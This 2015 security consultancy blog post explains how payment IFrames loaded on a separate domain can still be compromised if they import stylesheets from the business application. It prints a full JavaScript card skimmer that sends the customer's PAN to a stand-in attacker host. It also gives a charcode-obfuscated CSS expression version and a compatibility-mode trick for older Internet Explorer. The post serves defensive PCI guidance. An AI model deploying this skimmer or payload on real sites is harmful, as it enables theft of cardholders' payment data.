Monday, July 13, 2015 At 10:09AM
Web applications that handle sensitive data, in particular card payment information, commonly use an embedded IFrame to provide users with a seamless customer experience. This IFrame (which may be provided from a third party payment service provider) should be served from a separate domain to leverage the browser same-origin policy controls. These controls prevent direct interaction between the consuming web application and the frame processing the payment details. For example, JavaScript executing within the business application cannot read cardholder details from within the embedded payment frame. This is a common justification for removing the application from the scope of PCI-DSS assessment leaving only the (possibly third party) IFrame that handles payment card data.
This method of segregating sites which handle card data from those that don’t can be effective provided some requirements are met. The first, as mentioned above, is that the business application and payment gateway should be served from completely different domains. It is important to note that subdomains should not be used unless the security implications are fully understood as, in some cases, the same origin policy can be bypassed by changing the “document.domain” value for the page. The second requirement is that no unvalidated data is passed from the business application to the payment IFrame. This is of critical importance because it may make it possible for an attacker to read data, such as the user’s Primary Account Number, from the payment IFrame if data controllable by an attacker is processed within the context of the payment domain.
While these concepts seem simple, this second requirement is one which bears closer inspection. Ensuring that data such as text supplied by the user is not passed to the payment IFrame is an obvious security control in this scenario. There are however other situations which are sometimes overlooked in which data could be passed into the payment IFrame. It is one such example, which GDS has encountered during security assessments, that we’ll examine below – stylesheets.
In many cases the source page for the payment IFrame is a generic site which handles payments for a large number of business applications, either within the same organisation or as a service to third parties. This page is unlikely to be styled the same way as the site which is using it, which may be an issue if it is important to reassure customers that they are dealing with a trustworthy retailer, or to present a consistent brand identity. To address this it is may be important to style the payment IFrame as if it is part of the business application in which it is embedded. This can be achieved by using images and CSS files which match those used by the business application, however this opens up a potential problem.
If the image or CSS files used to style the payment IFrame are imported directly from the business application site, then an attacker who gains control over the business application, or the server it resides on, may be able to insert malicious data into these files, and consequently into the payment IFrame. This compromises the security model used by the application to isolate sensitive data and potentially brings the entire business application into scope for assessment of card data handling.
To avoid this scenario it is therefore important to ensure that all external resources used by the IFrame are only loaded from trusted locations that are not controlled by the business application or its hosting system. Any resources provided by the application or application owners should be reviewed prior to being made available from the payment domain to ensure that they are suitable.
Example Attack
The following is an example of an attack which could be carried out using a compromised CSS file.
For demonstration purposes this is what the page looks like without the style applied, the borders of the IFrame are clearly visible.
When the style from the business application is applied the page looks like this, as you can see the IFrame, though still present, is not clearly visible.
The code to include the payment IFrame in the business application is as follows:
<iframe src=”https://payment-provider.gds:4443/customer_pan.html#css=https://business-application.gds/style.css” width=”600” height=”110” frameBorder=”0”>
As can be seen the payment site is hosted on a different domain and port from the business application. This means that the restrictions of the same origin policy will apply, however the payment IFrame loads the CSS file of the business application as shown below.
If an attacker were to gain control of the business application they could change the stylesheet to insert a malicious payload, the following example is JavaScript code to extract the customer’s PAN number when the “Next” button is clicked and send it to a remote attacker controlled location.
if(document.getElementById("stealer") == null) { var node=document.createElement("script"); node.setAttribute("id","stealer"); node.text='function steal() {' + 'if(window.XDomainRequest) {' + 'xmlhttp = new XDomainRequest()' + '} else if(window.XMLHttpRequest) {' + 'xmlhttp = new XMLHttpRequest()' + '} else {' + 'xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")' + '};' + 'xmlhttp.open("GET",' + '"https://attacker.gds:31337/index.html?pan="+' + 'document.getElementById("customerPan").value,' + 'false);' + 'xmlhttp.send();' + 'document.getElementById("payment").submit()' + '};'; document.getElementsByTagName('head')[0].appendChild(node) } try { document.getElementById("next").outerHTML= '<input id="next2" type="button" value="Next" ' + 'onClick="steal()">' } catch(err) { }
Making this code execute from a CSS file can be achieved using CSS expressions. These trigger when any action is performed on the page so it is necessary to verify that any new elements have not been added already and to catch any errors which may occur when replacing elements.
The following code (an encoding of the above) can be added as the first line of the style sheet to execute this attack.
@import "data:,*%7bx:expression(eval(String.fromCharCode(105, 102, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 34, 115, 116, 101, 97, 108, 101, 114, 34, 41, 32, 61, 61, 32, 110, 117, 108, 108, 41, 123, 118, 97, 114, 32, 110, 111, 100, 101, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 110, 111, 100, 101, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 34, 105, 100, 34, 44, 34, 115, 116, 101, 97, 108, 101, 114, 34, 41, 59, 110, 111, 100, 101, 46, 116, 101, 120, 116, 61, 39, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 101, 97, 108, 40, 41, 123, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 88, 68, 111, 109, 97, 105, 110, 82, 101, 113, 117, 101, 115, 116, 41, 123, 120, 109, 108, 104, 116, 116, 112, 32, 61, 32, 110, 101, 119, 32, 88, 68, 111, 109, 97, 105, 110, 82, 101, 113, 117, 101, 115, 116, 40, 41, 125, 101, 108, 115, 101, 32, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 41, 123, 120, 109, 108, 104, 116, 116, 112, 32, 61, 32, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 125, 101, 108, 115, 101, 123, 120, 109, 108, 104, 116, 116, 112, 32, 61, 32, 110, 101, 119, 32, 65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99, 116, 40, 34, 77, 105, 99, 114, 111, 115, 111, 102, 116, 46, 88, 77, 76, 72, 84, 84, 80, 34, 41, 125, 59, 120, 109, 108, 104, 116, 116, 112, 46, 111, 112, 101, 110, 40, 34, 71, 69, 84, 34, 44, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 116, 116, 97, 99, 107, 101, 114, 46, 103, 100, 115, 58, 51, 49, 51, 51, 55, 47, 105, 110, 100, 101, 120, 46, 104, 116, 109, 108, 63, 112, 97, 110, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 34, 99, 117, 115, 116, 111, 109, 101, 114, 80, 97, 110, 34, 41, 46, 118, 97, 108, 117, 101, 44, 102, 97, 108, 115, 101, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 115, 101, 110, 100, 40, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 34, 112, 97, 121, 109, 101, 110, 116, 34, 41, 46, 115, 117, 98, 109, 105, 116, 40, 41, 125, 59, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 110, 111, 100, 101, 41, 125, 59, 116, 114, 121, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 34, 110, 101, 120, 116, 34, 41, 46, 111, 117, 116, 101, 114, 72, 84, 77, 76, 61, 39, 60, 105, 110, 112, 117, 116, 32, 105, 100, 61, 34, 110, 101, 120, 116, 50, 34, 32, 116, 121, 112, 101, 61, 34, 98, 117, 116, 116, 111, 110, 34, 32, 118, 97, 108, 117, 101, 61, 34, 78, 101, 120, 116, 34, 32, 111, 110, 67, 108, 105, 99, 107, 61, 34, 115, 116, 101, 97, 108, 40, 41, 34, 62, 39, 125, 99, 97, 116, 99, 104, 40, 101, 114, 114, 41, 123, 125)))%7D";
The following screenshot shows the screen after the customer has entered their card number, for demonstration purposes other card details are not required by this form but could also be trivially captured by an attacker.
When the “Next” button is clicked the customer’s PAN is sent to the attacker and the form is submitted. To the user it appears that nothing unusual has occurred and the normal next screen of the payment process is shown.
However the customer’s PAN has already been received by the attacker as shown below.
Caveats
There are some limitations to this particular attack, though there are other attacks which can be carried out which may not suffer the same limitations or which may work on other browsers. This implementation is limited to attacking users on Internet Explorer as it makes use of the CSS expression statement. This attack will also only normally work on Internet Explorer 7 and below, however Internet Explorer versions up to 10 (Windows 8.0), can be vulnerable. This is because Internet Explorer renders pages shown in an IFrame in the same compatibility mode as that of the parent frame. If an attacker controls the business application they can set the meta tag “<meta http-equiv=’X-UA-Compatible’ content=’IE=7’>” in the HTML header to force Internet Explorer 7 compatibility mode on the parent page, and therefore the payment provider page. In Internet Explorer 11 (Windows 7 if updated and Windows 8.1), CSS expressions are disabled for the “Internet” zone, therefore this attack would only work for sites in the “Local intranet” or “Trusted sites” zones for this version.
Author: Dan Turner
©Aon plc 2023